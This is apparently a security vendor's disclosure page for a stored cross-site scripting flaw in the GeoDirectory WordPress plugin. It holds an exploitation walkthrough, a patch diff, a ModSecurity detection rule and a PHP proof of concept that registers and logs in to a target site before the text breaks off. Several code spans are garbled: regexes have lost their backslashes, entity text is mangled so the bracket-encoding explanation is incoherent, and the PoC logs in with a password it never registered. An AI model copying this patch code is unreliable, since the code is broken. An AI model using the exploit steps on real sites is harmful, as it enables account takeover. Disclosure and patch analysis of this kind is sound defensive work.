Published : November 28, 2026

CVE-2026-136607: GeoDirectory <= 2.8.208 Unauthenticated Stored Cross-Site Scripting via 'post_content' Parameter PoC, Patch Analysis & Rule

Plugin geodirectory
Severity Medium (CVSS 5.4)
CWE 79
Vulnerable Version 2.8.208
Patched Version 2.8.209
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-136607: A stored cross-site scripting vulnerability in GeoDirectory WordPress plugin versions up to and including 2.8.208, rated CVSS 5.4. The flaw exists in the Shortcode tab rendering path where visitor supplied post_content is substituted into tab templates via geodir_replace_variables() in geodirectory/includes/widgets/class-geodir-widget-single-tabs.php. Atomic Edge research confirms the root issue is that %%variable%% replacement occurred before any contextual sanitization, and the resulting string flowed into do_shortcode() and the_content filter chain re-parsing.

Root Cause: The vulnerable flow begins in class-geodir-widget-single-tabs.php around lines 409 and 474 where the tab template string is processed with geodir_replace_variables( stripslashes( $tab->tab_content ) ) and then passed to do_shortcode(). The replacement function in geodirectory/includes/post-functions.php (geodir_replace_variables()) performed a str_replace of %%post_content%% with the raw post_content value, escaping only for HTML context via geodir_escape_dynamic_value() but never preventing shortcode execution. When the tab template places %%post_content%% inside an HTML attribute (e.g., title=”%%post_content%%”), an attacker controlled post_content can inject a quote to break out of the attribute, and the subsequent do_shortcode() call in the same function will execute any shortcode syntax stored in the listing. Compounding this, the review rendering path in class-geodir-comments.php had no shortcode neutralization, and class-geodir-widget-recent-reviews.php rendered stripslashes(strip_tags()) values without bracket encoding, so stored review text could be re-interpreted by do_shortcode() during the_content processing of the single listing page.

Exploitation: An unauthenticated attacker registers on the site (requires the plugin’s ‘Allow posting without logging in?’ option plus WP user registration to be enabled, per Atomic Edge review of the CVE metadata), then submits a listing with a crafted post_content. The payload must contain a shortcode-like token such as [gd_single_tabs] followed by injected HTML, and requires the site administrator to have previously configured a Shortcode-type tab whose template places %%post_content%% inside an HTML attribute. When a victim views the injected listing, the tab renderer calls do_shortcode() on the substituted content, executing the injected scripts against the victim’s browser session. A secondary exploitation vector arises from review text stored via the standard WP comment endpoint on a GD post type: the review body survives into the_content through the single page template without bracket encoding, allowing the shortcode API to re-parse it.

Patch Analysis: Version 2.8.209 introduces geodir_neutralize_untrusted_content() and geodir_encode_shortcode_brackets() in includes/formatting-functions.php. These functions strip wp: block delimiters and encode square brackets as hex entities ([ and ]) instead of decimal entities ([/]), because do_shortcode() and unescape_invalid_shortcodes() decode decimal entities back to literal brackets inside nested shortcode processing. The comment system now hooks comment_text and get_comment_excerpt at PHP_INT_MAX priority via new methods neutralize_comment_shortcodes() and neutralize_comment_excerpt_shortcodes() in class-geodir-comments.php, which apply the neutralizer only for GD post types so reviews can never be parsed as shortcodes. The recent reviews widget and recent-item-clean.php template both apply geodir_neutralize_untrusted_content() before output. class-geodir-widget-single-tabs.php now captures the pre-substitution template, calls geodir_replace_variables(), and when the string changed it runs geodir_sanitize_html_field( wp_slash( $content ) ) to sanitize the post-replacement HTML, preventing injected attributes and scripts. The address rendering path in output-functions.php moved stripslashes() to before sanitization and applies geodir_kses_address() before output, and geodir_db_cpt_table() was hardened to sanitize_key() plus $wpdb->prefix so attacker-controlled post_type cannot influence table names. geodir_is_gd_post_type() was tightened to require a gd_ prefix and use strict in_array(), and geodir_get_current_posttype() now sanitizes $_REQUEST inputs via sanitize_key() and validates against geodir_is_gd_post_type().

Impact: Successful exploitation grants an unauthenticated attacker arbitrary JavaScript execution in the browser of any user (including administrators) who views the crafted listing or its reviews, within the plugin’s shortcode rendering path. Atomic Edge analysis rates the practical impact as session hijacking and privilege escalation against administrators, since a malicious script can create new admin users, install backdoors, or exfiltrate CSRF tokens and session cookies. The CVSS 5.4 score reflects the non-default configuration requirements (administrator configured attribute-embedding Shortcode tab, and open registration plus guest posting enabled), but once those prerequisites exist the attack requires no authentication and can escalate to full site compromise via admin browser compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/geodirectory/geodirectory.php
+++ b/geodirectory/geodirectory.php
@@ -11,7 +11,7 @@
  * Plugin Name: GeoDirectory
  * Plugin URI: https://wpgeodirectory.com/
  * Description: GeoDirectory - Business Directory Plugin for WordPress.
- * Version: 2.8.208
+ * Version: 2.8.209
  * Author: AyeCode - WP Business Directory Plugins
  * Author URI: https://wpgeodirectory.com
  * Text Domain: geodirectory
@@ -34,7 +34,7 @@
 		 *
 		 * @var string
 		 */
-		public $version = '2.8.208';
+		public $version = '2.8.209';

 		/**
 		 * GeoDirectory instance.
--- a/geodirectory/includes/class-geodir-comments.php
+++ b/geodirectory/includes/class-geodir-comments.php
@@ -22,6 +22,10 @@
 		// add ratings to comment text
 		add_filter( 'comment_text', array( __CLASS__, 'wrap_comment_text' ), 40, 2 );

+		// Prevent review text from being parsed as shortcodes when the listing content is re-parsed.
+		add_filter( 'comment_text', array( __CLASS__, 'neutralize_comment_shortcodes' ), PHP_INT_MAX, 2 );
+		add_filter( 'get_comment_excerpt', array( __CLASS__, 'neutralize_comment_excerpt_shortcodes' ), PHP_INT_MAX, 3 );
+
 		// replace comments template
 		add_filter( 'comments_template', array( __CLASS__, 'comments_template' ) ); // @todo, maybe we want to use the themes own template?

@@ -635,6 +639,45 @@
 	}

 	/**
+	 * Encode shortcode brackets in GD review text.
+	 *
+	 * The single listing page content is filtered through the_content, which
+	 * runs do_shortcode() on the already rendered output (including the reviews).
+	 * Review text is untrusted user input and must never be parsed as shortcodes.
+	 *
+	 * @since 2.8.209
+	 *
+	 * @param string $content The comment content.
+	 * @param object|string $comment The comment object.
+	 * @return string The comment content.
+	 */
+	public static function neutralize_comment_shortcodes( $content, $comment = '' ) {
+		if ( ! empty( $comment->comment_post_ID ) && geodir_is_gd_post_type( get_post_type( (int) $comment->comment_post_ID ) ) ) {
+			$content = geodir_neutralize_untrusted_content( $content );
+		}
+
+		return $content;
+	}
+
+	/**
+	 * Encode shortcode brackets in GD review excerpt.
+	 *
+	 * @since 2.8.209
+	 *
+	 * @param string $content The comment excerpt.
+	 * @param string $comment_id The comment ID as a numeric string.
+	 * @param object|string $comment The comment object.
+	 * @return string The comment excerpt.
+	 */
+	public static function neutralize_comment_excerpt_shortcodes( $content, $comment_id = 0, $comment = '' ) {
+		if ( ! empty( $comment->comment_post_ID ) && geodir_is_gd_post_type( get_post_type( (int) $comment->comment_post_ID ) ) ) {
+			$content = geodir_neutralize_untrusted_content( $content );
+		}
+
+		return $content;
+	}
+
+	/**
 	 * Comment HTML markup.
 	 *
 	 * @since 2.0.0
--- a/geodirectory/includes/core-functions.php
+++ b/geodirectory/includes/core-functions.php
@@ -540,8 +540,20 @@
  */
 function geodir_column_exist( $db, $column ) {
 	global $wpdb;
-	$exists  = false;
-	$columns = $wpdb->get_col( "show columns from $db" );
+
+	$exists = false;
+
+	// Allow only a valid table identifier.
+	if ( empty( $db ) || ! is_string( $db ) || ! preg_match( '/^[A-Za-z0-9_-$]+$/', $db ) ) {
+		return $exists;
+	}
+
+	$columns = $wpdb->get_col( "SHOW COLUMNS FROM `{$db}`" );
+
+	if ( empty( $columns ) || ! is_array( $columns ) ) {
+		return $exists;
+	}
+
 	foreach ( $columns as $c ) {
 		if ( $c == $column ) {
 			$exists = true;
--- a/geodirectory/includes/custom-fields/output-functions.php
+++ b/geodirectory/includes/custom-fields/output-functions.php
@@ -2624,6 +2624,9 @@
 			// Render private address.
 			$address_fields = geodir_post_address( $address_fields, 'address', $gd_post );

+			// Strip slashes before sanitizing so that no markup can be re-formed after sanitization.
+			$address_fields = stripslashes( $address_fields );
+
 			$plain_value = wp_strip_all_tags( $address_fields, true );
 			if ( $plain_value == '' ) {
 				return $html;
@@ -2632,9 +2635,12 @@
 			// Database / Stripped value.
 			if ( ! empty( $output ) && ( isset( $output['raw'] ) || isset( $output['strip'] ) ) ) {
 				$address_fields = str_replace( array( ",<br>", "<br>" ), array( ",", "," ), $address_fields );
-				return stripslashes( wp_strip_all_tags( $address_fields, true ) );
+				return wp_strip_all_tags( $address_fields, true );
 			}

+			// Sanitize the address HTML before output.
+			$address_fields = geodir_kses_address( $address_fields );
+
 			$html = '<div class="geodir_post_meta ' . $cf['css_class'] . ' geodir-field-' . $cf['htmlvar_name'] . '" itemscope itemtype="http://schema.org/PostalAddress">';

 			$maybe_secondary_class = isset( $output['icon'] ) ? 'gv-secondary' : '';
@@ -2652,11 +2658,11 @@
 			}

 			if ( $output == '' || isset( $output['value'] ) ) {
-				$html .= stripslashes( $address_fields );
+				$html .= $address_fields;
 			}

 			if ( ! empty( $output ) && isset( $output['link'] ) ) {
-				$value = stripslashes( $address_fields );
+				$value = $address_fields;
 				$address = normalize_whitespace( wp_strip_all_tags( $value ) );
 				$map_link = 'https://www.google.com/maps?q=' . urlencode( $address );

--- a/geodirectory/includes/formatting-functions.php
+++ b/geodirectory/includes/formatting-functions.php
@@ -30,6 +30,105 @@
 }

 /**
+ * Neutralize shortcodes and block delimiters in visitor supplied content.
+ *
+ * @since 2.8.209
+ *
+ * @param string $content The content.
+ * @return string The text with shortcode brackets encoded.
+ */
+function geodir_neutralize_untrusted_content( $content ) {
+	if ( ! is_string( $content ) || $content === '' ) {
+		return $content;
+	}
+
+	// Strip block delimiters.
+	if ( strpos( $content, '<!--' ) !== false ) {
+		$content = preg_replace( '/<!--s*/?wp:.*?-->/s', '', $content );
+	}
+
+	// Encode square brackets so shortcodes can't be executed.
+	return geodir_encode_shortcode_brackets( $content );
+}
+
+/**
+ * Encode square brackets so the text can never be parsed as shortcodes.
+ *
+ * Brackets are encoded as hex entities ([ / ]) instead of [ / ].
+ * WordPress uses [ / ] as internal placeholders in do_shortcode() and
+ * unescape_invalid_shortcodes() turns them back into [ ] at the end of every
+ * do_shortcode() call. When review text is rendered inside a shortcode (e.g.
+ * [gd_single_tabs] / [gd_single_reviews] within the single page template) the
+ * decimal entities are converted back to brackets, and the following
+ * do_shortcode() on the_content then executes them. Hex entities are left
+ * untouched by the shortcode API and by entity normalization.
+ *
+ * @since 2.8.209
+ *
+ * @param string $content The content.
+ * @return string The content with square brackets encoded.
+ */
+function geodir_encode_shortcode_brackets( $content ) {
+	if ( ! is_string( $content ) || $content === '' ) {
+		return $content;
+	}
+
+	// Decimal bracket entities already present in the text would also be decoded by do_shortcode().
+	if ( strpos( $content, '&#' ) !== false ) {
+		$content = preg_replace( array( '/�*91;/', '/�*93;/' ), array( '[', ']' ), $content );
+	}
+
+	if ( strpos( $content, '[' ) !== false || strpos( $content, ']' ) !== false ) {
+		$content = str_replace( array( '[', ']' ), array( '[', ']' ), $content );
+	}
+
+	return $content;
+}
+
+/**
+ * Sanitize the address HTML built from the address template.
+ *
+ * @since 2.8.209
+ *
+ * @param string $html The address HTML.
+ * @return string Sanitized address HTML.
+ */
+function geodir_kses_address( $html ) {
+	if ( ! is_string( $html ) || $html === '' ) {
+		return $html;
+	}
+
+	static $allowed_html = null;
+
+	if ( null === $allowed_html ) {
+		$allowed_html = wp_kses_allowed_html( 'post' );
+
+		foreach ( $allowed_html as $tag => $attributes ) {
+			if ( ! is_array( $attributes ) ) {
+				$attributes = array();
+			}
+
+			$attributes['itemprop']  = true;
+			$attributes['itemscope'] = true;
+			$attributes['itemtype']  = true;
+
+			$allowed_html[ $tag ] = $attributes;
+		}
+
+		/**
+		 * Filter the HTML tags & attributes allowed in the address output.
+		 *
+		 * @since 2.8.209
+		 *
+		 * @param array $allowed_html Allowed HTML.
+		 */
+		$allowed_html = apply_filters( 'geodir_kses_address_allowed_html', $allowed_html );
+	}
+
+	return wp_kses( $html, $allowed_html );
+}
+
+/**
  * Emulate the WP native sanitize_text_field function in a %%variable%% safe way.
  *
  * @see   https://core.trac.wordpress.org/browser/trunk/src/wp-includes/formatting.php for the original
--- a/geodirectory/includes/helper-functions.php
+++ b/geodirectory/includes/helper-functions.php
@@ -13,13 +13,16 @@
  *
  * @return bool|string
  */
-function geodir_db_cpt_table($post_type){
-	if(!empty($post_type)){
-		global $plugin_prefix;
-		return $plugin_prefix . $post_type . '_detail';
+function geodir_db_cpt_table( $post_type ) {
+	global $wpdb;
+
+	$post_type = sanitize_key( $post_type );
+
+	if ( $post_type === '' ) {
+		return false;
 	}

-	return false;
+	return $wpdb->prefix . 'geodir_' . $post_type . '_detail';
 }

 /**
--- a/geodirectory/includes/post-functions.php
+++ b/geodirectory/includes/post-functions.php
@@ -1987,40 +1987,47 @@
 	global $gd_post;

 	// Only run if we have a GD post and the start of a var
-	if ( ! empty( $gd_post->ID ) && strpos( $text, '%%' ) !== false ) {
-		$non_replace = geodir_get_no_replace_fields();
+	if ( empty( $gd_post->ID ) || ! is_string( $text ) || strpos( $text, '%%' ) === false ) {
+		return $text;
+	}
+
+	// Only run if the text contains a %%variable%%.
+	if ( ! preg_match( '/%%[A-Za-z0-9_-]+%%/', $text ) ) {
+		return $text;
+	}
+
+	$non_replace = geodir_get_no_replace_fields();

-		// Field key => type info, used to escape each replacement value for
-		// the context it is output in.
-		$field_types = geodir_dynamic_content_field_types( ! empty( $gd_post->post_type ) ? $gd_post->post_type : '' );
-
-		foreach( $gd_post as $key => $val ) {
-			if ( ! in_array( $key, $non_replace ) ) {
-				// Replace plain variables.
-				if ( strpos( $text, '%%' . $key . '%%' ) !== false ) {
-					$val = apply_filters( 'geodir_replace_variables_' . $key, $val, $text );
-
-					$replace_val = $val;
-					if ( ! empty( $replace_val ) ) {
-						$field_type = isset( $field_types[ $key ]['field_type'] ) ? $field_types[ $key ]['field_type'] : '';
-						$data_type  = isset( $field_types[ $key ]['data_type'] ) ? $field_types[ $key ]['data_type'] : '';
-
-						if ( in_array( $key, array( 'post_content', 'post_excerpt' ), true ) ) {
-							$field_type = 'html';
-						}
+	// Field key => type info, used to escape each replacement value for
+	// the context it is output in.
+	$field_types = geodir_dynamic_content_field_types( ! empty( $gd_post->post_type ) ? $gd_post->post_type : '' );
+
+	foreach( $gd_post as $key => $val ) {
+		if ( ! in_array( $key, $non_replace ) ) {
+			// Replace plain variables.
+			if ( strpos( $text, '%%' . $key . '%%' ) !== false ) {
+				$val = apply_filters( 'geodir_replace_variables_' . $key, $val, $text );
+
+				$replace_val = $val;
+				if ( ! empty( $replace_val ) ) {
+					$field_type = isset( $field_types[ $key ]['field_type'] ) ? $field_types[ $key ]['field_type'] : '';
+					$data_type  = isset( $field_types[ $key ]['data_type'] ) ? $field_types[ $key ]['data_type'] : '';

-						$replace_val = geodir_escape_dynamic_value( $replace_val, $field_type, $data_type, array( 'key' => $key, 'text' => $text ) );
+					if ( in_array( $key, array( 'post_content', 'post_excerpt' ), true ) ) {
+						$field_type = 'html';
 					}

-					$text = str_replace( '%%' . $key . '%%', $replace_val, $text );
+					$replace_val = geodir_escape_dynamic_value( $replace_val, $field_type, $data_type, array( 'key' => $key, 'text' => $text ) );
 				}

-				// Replace encoded variables.
-				if ( strpos( $text, '%%' . $key . '_encode%%' ) !== false ) {
-					$encode_val = ! empty( $val ) ? urlencode( trim( $val ) ) : '';
-					$encode_val = apply_filters( 'geodir_replace_variables_encode_' . $key, $encode_val, $text );
-					$text = str_replace( '%%' . $key . '_encode%%', $encode_val, $text );
-				}
+				$text = str_replace( '%%' . $key . '%%', $replace_val, $text );
+			}
+
+			// Replace encoded variables.
+			if ( strpos( $text, '%%' . $key . '_encode%%' ) !== false ) {
+				$encode_val = ! empty( $val ) ? urlencode( trim( $val ) ) : '';
+				$encode_val = apply_filters( 'geodir_replace_variables_encode_' . $key, $encode_val, $text );
+				$text = str_replace( '%%' . $key . '_encode%%', $encode_val, $text );
 			}
 		}
 	}
--- a/geodirectory/includes/post-types-functions.php
+++ b/geodirectory/includes/post-types-functions.php
@@ -125,33 +125,33 @@
  * @return bool True if given post type is GD post type, otherwise False.
  */
 function geodir_is_gd_post_type( $post_type ) {
-    global $gd_is_post_type;
+	global $gd_is_post_type;

-    if ( empty( $post_type ) || is_array($post_type) ) {
-        return false;
-    }
+	// Must be a scalar following the GD post type naming convention (gd_*).
+	if ( ! is_scalar( $post_type ) || strpos( (string) $post_type, 'gd_' ) !== 0 ) {
+		return false;
+	}

-    if ( strpos( $post_type, 'gd_' ) !== 0 ) {
-        return false;
-    }
+	$post_type = (string) $post_type;

-    if ( !empty( $gd_is_post_type ) && !empty( $gd_is_post_type[ $post_type ] ) ) {
-        return true;
-    }
+	// Fast path: already confirmed earlier in this request.
+	if ( ! empty( $gd_is_post_type[ $post_type ] ) ) {
+		return true;
+	}

-    $gd_posttypes = geodir_get_posttypes();
+	$post_types = geodir_get_posttypes();

-    if ( !empty( $gd_posttypes ) && in_array( $post_type, $gd_posttypes ) ) {
-        if ( !is_array( $gd_is_post_type ) ) {
-            $gd_is_post_type = array();
-        }
+	if ( ! empty( $post_types ) && in_array( $post_type, $post_types, true ) ) {
+		if ( ! is_array( $gd_is_post_type ) ) {
+			$gd_is_post_type = array();
+		}

-        $gd_is_post_type[ $post_type ] = true;
+		$gd_is_post_type[ $post_type ] = true;

-        return true;
-    }
+		return true;
+	}

-    return false;
+	return false;
 }

 /**
@@ -626,53 +626,60 @@
  * @return string The post type.
  */
 function geodir_get_current_posttype() {
-    global $wp_query, $post, $geodir_post_type;
+	global $post, $geodir_post_type;

-    $geodir_post_type = get_query_var('post_type');
+	// Get from the queried post type.
+	$geodir_post_type = get_query_var( 'post_type' );

-    if (geodir_is_page('add-listing') || geodir_is_page('preview')) {
-        if (isset($_REQUEST['pid']) && $_REQUEST['pid'] != '')
-            $geodir_post_type = get_post_type((int)$_REQUEST['pid']);
-        elseif (isset($_REQUEST['listing_type']))
-            $geodir_post_type = sanitize_text_field($_REQUEST['listing_type']);
-    }
-
-    if ((geodir_is_page('search') || geodir_is_page('author')) && isset($_REQUEST['stype']))
-        $geodir_post_type = sanitize_text_field($_REQUEST['stype']);
+	// Add listing / preview pages: use the edited post, else the chosen listing type.
+	if ( geodir_is_page( 'add-listing' ) || geodir_is_page( 'preview' ) ) {
+		if ( ! empty( $_REQUEST['pid'] ) ) {
+			$geodir_post_type = get_post_type( absint( $_REQUEST['pid'] ) );
+		} elseif ( isset( $_REQUEST['listing_type'] ) && is_scalar( $_REQUEST['listing_type'] ) ) {
+			$geodir_post_type = sanitize_key( wp_unslash( $_REQUEST['listing_type'] ) );
+		}
+	}

-    if (is_tax())
-        $geodir_post_type = geodir_get_taxonomy_posttype();
+	// Search / author pages: use the submitted search type.
+	if ( ( geodir_is_page( 'search' ) || geodir_is_page( 'author' ) ) && isset( $_REQUEST['stype'] ) && is_scalar( $_REQUEST['stype'] ) ) {
+		$geodir_post_type = sanitize_key( wp_unslash( $_REQUEST['stype'] ) );
+	}

-    // Retrieve post type for map marker html ajax request on preview page.
-    if (empty($geodir_post_type) && defined('DOING_AJAX') && !empty($post)) {
-        if (!empty($post->post_type)) {
-            $geodir_post_type = $post->post_type;
-        } else if (!empty($post->listing_type)) {
-            $geodir_post_type = $post->listing_type;
-        }
-    }
+	// Taxonomy archives.
+	if ( is_tax() ) {
+		$geodir_post_type = geodir_get_taxonomy_posttype();
+	}

-    $all_postypes = geodir_get_posttypes();
-    $all_postypes = stripslashes_deep($all_postypes);
+	// AJAX search requests (eg: GD Fast AJAX) pass the post type via "stype".
+	if ( defined( 'DOING_AJAX' ) && isset( $_REQUEST['stype'] ) && is_scalar( $_REQUEST['stype'] ) ) {
+		$geodir_post_type = sanitize_key( wp_unslash( $_REQUEST['stype'] ) );
+	}

-    if (is_array($all_postypes) && !in_array($geodir_post_type, $all_postypes))
-        $geodir_post_type = '';
+	// Map marker HTML AJAX request on the preview page: read from the global post.
+	if ( empty( $geodir_post_type ) && defined( 'DOING_AJAX' ) && ! empty( $post ) ) {
+		if ( ! empty( $post->post_type ) ) {
+			$geodir_post_type = $post->post_type;
+		} elseif ( ! empty( $post->listing_type ) ) {
+			$geodir_post_type = $post->listing_type;
+		}
+	}

-    if( defined( 'DOING_AJAX' ) && isset($_REQUEST['stype'])){
-        $geodir_post_type = sanitize_text_field($_REQUEST['stype']);
-    }
+	// Check GD post type.
+	if ( ! geodir_is_gd_post_type( $geodir_post_type ) ) {
+		$geodir_post_type = '';
+	}

-    // Set default past type on search page when stype is not set.
-    if ( empty( $geodir_post_type ) && geodir_is_page( 'search' ) ) {
-        $geodir_post_type = geodir_get_default_posttype();
-    }
+	// Fall back to the default post type on the search page.
+	if ( empty( $geodir_post_type ) && geodir_is_page( 'search' ) ) {
+		$geodir_post_type = geodir_get_default_posttype();
+	}

-    /**
-     * Filter the default CPT return.
-     *
-     * @since 1.6.9
-     */
-    return apply_filters('geodir_get_current_posttype',$geodir_post_type);
+	/**
+	 * Filter the default CPT return.
+	 *
+	 * @since 1.6.9
+	 */
+	return apply_filters( 'geodir_get_current_posttype', $geodir_post_type );
 }

 /**
--- a/geodirectory/includes/widgets/class-geodir-widget-recent-reviews.php
+++ b/geodirectory/includes/widgets/class-geodir-widget-recent-reviews.php
@@ -593,6 +593,7 @@
 			$comment_id      = $comment->comment_ID;
 			$comment_content = strip_tags( $comment->comment_content );
 			$comment_content = preg_replace( '#(\[img\]).+(\[\/img\])#', '', $comment_content );
+			$comment_content = geodir_neutralize_untrusted_content( $comment_content );

 			$permalink            = get_permalink( $comment->post_id ) . '#comment-' . $comment->comment_ID;
 			$comment_author_email = $comment->comment_author_email;
--- a/geodirectory/includes/widgets/class-geodir-widget-single-tabs.php
+++ b/geodirectory/includes/widgets/class-geodir-widget-single-tabs.php
@@ -409,7 +409,14 @@

 		// Main content
 		if ( ! empty( $tab->tab_content ) ) { // override content
-			$content = geodir_replace_variables( stripslashes( $tab->tab_content ) );
+			$_tab_content = stripslashes( $tab->tab_content );
+			$content      = geodir_replace_variables( $_tab_content );
+
+			// Sanitize after %%variables%% are replaced, so field values can't inject attributes/scripts.
+			if ( $content !== $_tab_content ) {
+				$content = geodir_sanitize_html_field( wp_slash( $content ) );
+			}
+
 			echo do_shortcode( $content );
 		} elseif ( $tab->tab_type == 'meta' ) { // meta info
 			echo do_shortcode( '[gd_post_meta key="' . $tab->tab_key . '" show="value"]' );
@@ -467,7 +474,14 @@
 				do_action( 'geodir_single_tab_content_before', $child_tab, $tab );

 				if ( ! empty( $child_tab->tab_content ) ) { // override content
-					$_content = geodir_replace_variables( stripslashes( $child_tab->tab_content ) );
+					$_tab_content = stripslashes( $child_tab->tab_content );
+					$_content     = geodir_replace_variables( $_tab_content );
+
+					// Sanitize after %%variables%% are replaced, so field values can't inject attributes/scripts.
+					if ( $_content !== $_tab_content ) {
+						$_content = geodir_sanitize_html_field( wp_slash( $_content ) );
+					}
+
 					echo do_shortcode( $_content );
 				} elseif ( $child_tab->tab_type == 'meta' ) { // meta info
 					echo do_shortcode( '[gd_post_meta key="' . $child_tab->tab_key . '"]' );
--- a/geodirectory/templates/bootstrap/reviews/recent-item-clean.php
+++ b/geodirectory/templates/bootstrap/reviews/recent-item-clean.php
@@ -1,12 +1,19 @@
 <?php
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-global $aui_bs5;
-
 /**
+ * Display Recent Review Item
+ *
+ * This template can be overridden by copying it to yourtheme/geodirectory/bootstrap/reviews/recent-item-clean.php.
+ *
+ * HOWEVER, on occasion GeoDirectory will need to update template files and you
+ * (the theme developer) will need to copy the new files to your theme to
+ * maintain compatibility. We try to do this as little as possible, but it does
+ * happen. When this occurs the version of the template file will be bumped and
+ * the readme will list any important changes.
+ *
+ * @see        https://wpgeodirectory.com/documentation/article/how-tos/customizing-templates/
+ * @package    GeoDirectory
+ * @version    2.8.209
+ *
  * Variables.
  *
  * @var object $comment The comment object.
@@ -21,6 +28,12 @@
  * @var bool $active If the item is in a carousel and active.
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+global $aui_bs5;
+
 $comment_content = wp_strip_all_tags( $comment->comment_content );
 $comment_content = preg_replace( '#(\[img\]).+(\[\/img\])#', '', $comment_content );
 $comment_excerpt = geodir_utf8_substr( $comment_content, 0, 150 ) . '…';
@@ -29,7 +42,7 @@
 	<div class="card h-100 mw-100 shadow-sm border-0">
 		<div class="card-body">
 			<div class="fs-xs mb-2"><?php echo geodir_get_rating_stars( $comment->rating, $comment_post_ID ); ?></div>
-			<p class="geodir_reviewer_text p-0 m-0 fs-base text-muted"><?php echo esc_html( $comment_excerpt ); ?></p>
+			<p class="geodir_reviewer_text p-0 m-0 fs-base text-muted"><?php echo geodir_neutralize_untrusted_content( esc_html( $comment_excerpt ) ); ?></p>
 		</div>

 		<div class="card-footer border-0 pt-0 d-flex align-items-center">

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-136607
# GeoDirectory <= 2.8.208 - Unauthenticated Stored XSS via 'post_content'
#
# The vulnerable request is a listing submission through GeoDirectory's listing
# form (admin-ajax action geodir_add_listing or the front-end add-listing POST).
# The exploit signature is a 'post_content' value containing a quote-break plus
# an event handler attribute, or a shortcode token embedded in post_content that
# will be re-executed by do_shortcode() during tab rendering.
#
# Narrow condition: POST to admin-ajax.php with action=geodir_add_listing
# AND post_content containing a shortcode token AND an HTML attribute-breaking
# payload (quote followed by on*= handler / <script> / javascript:).

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20266136,phase:2,deny,status:403,chain,msg:'CVE-2026-136607 GeoDirectory post_content stored XSS',severity:'CRITICAL',tag:'CVE-2026-136607',tag:'attack-xss'"
  SecRule ARGS_POST:action "@streq geodir_add_listing" "chain"
    SecRule ARGS_POST:post_content "@rx (?:[gd_single_tabs]|[gd_single_reviews]).{0,200}(?:['x22]s*on[a-z]+s*=|<script|javascript:)" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

# Alternative variant: front-end add-listing form POST (same plugin, direct form).
SecRule REQUEST_URI "@beginsWith /?geodir_add_listing" 
  "id:20266137,phase:2,deny,status:403,msg:'CVE-2026-136607 GeoDirectory front-end listing stored XSS',severity:'CRITICAL',tag:'CVE-2026-136607',tag:'attack-xss'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-136607 - GeoDirectory <= 2.8.208 - Unauthenticated Stored Cross-Site Scripting via 'post_content' Parameter
//
// Prerequisites per CVE metadata:
//   - WordPress user registration enabled
//   - GeoDirectory 'Allow posting without logging in?' option enabled
//   - Administrator configured a Shortcode-type single tab whose template
//     places %%post_content%% inside an HTML attribute (e.g. title="%%post_content%%")
//
// This PoC registers a user, submits a listing with a payload that breaks out of
// the attribute context and injects a script tag inside a shortcode token that
// survives do_shortcode() re-parsing on the patched-before rendering path.

$target_url = 'http://localhost:8080'; // <-- configure target

function req( $url, $method = 'GET', $data = null, $cookies = null, $headers = array() ) {
    $ch = curl_init();
    curl_setopt( $ch, CURLOPT_URL, $url );
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
    curl_setopt( $ch, CURLOPT_COOKIEFILE, '' );
    if ( $cookies ) {
        curl_setopt( $ch, CURLOPT_COOKIE, $cookies );
    }
    $hdrs = array_merge( array( 'User-Agent: AtomicEdge-PoC' ), $headers );
    curl_setopt( $ch, CURLOPT_HTTPHEADER, $hdrs );
    if ( $method === 'POST' ) {
        curl_setopt( $ch, CURLOPT_POST, true );
        curl_setopt( $ch, CURLOPT_POSTFIELDS, is_array( $data ) ? http_build_query( $data ) : $data );
    }
    $body = curl_exec( $ch );
    $code = curl_getinfo( $ch, CURLINFO_HTTP_CODE );
    curl_close( $ch );
    return array( $code, $body );
}

// Step 1: Register a new account on the target WordPress site.
$username = 'ae_poc_' . substr( md5( uniqid( '', true ) ), 0, 8 );
$email    = $username . '@example.com';
$password = 'AtomicEdge!Poc#2026';

list( $code, $body ) = req(
    $target_url . '/wp-login.php?action=register',
    'POST',
    array(
        'user_login' => $username,
        'user_email' => $email,
        'wp-submit'  => 'Register',
        'action'     => 'register',
    )
);
echo "[*] Register user: HTTP {$code}n";

// Step 2: Login and capture auth cookies.
list( $code, $body ) = req(
    $target_url . '/wp-login.php',
    'POST',
    array(
        'log'         => $username,
        'pwd'         => $password,
        'wp-submit'   => 'Log In',
        'testcookie'  => '1',
    )
);
// Extract cookies from response headers
$cookie_jar = array();
// Re-login using a cookie jar to persist session
$tmp = tempnam( sys_get_temp_dir(), 'ae_poc' );
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $target_url . '/wp-login.php' );
curl_setopt( $ch, CURLOPT_POST, true );
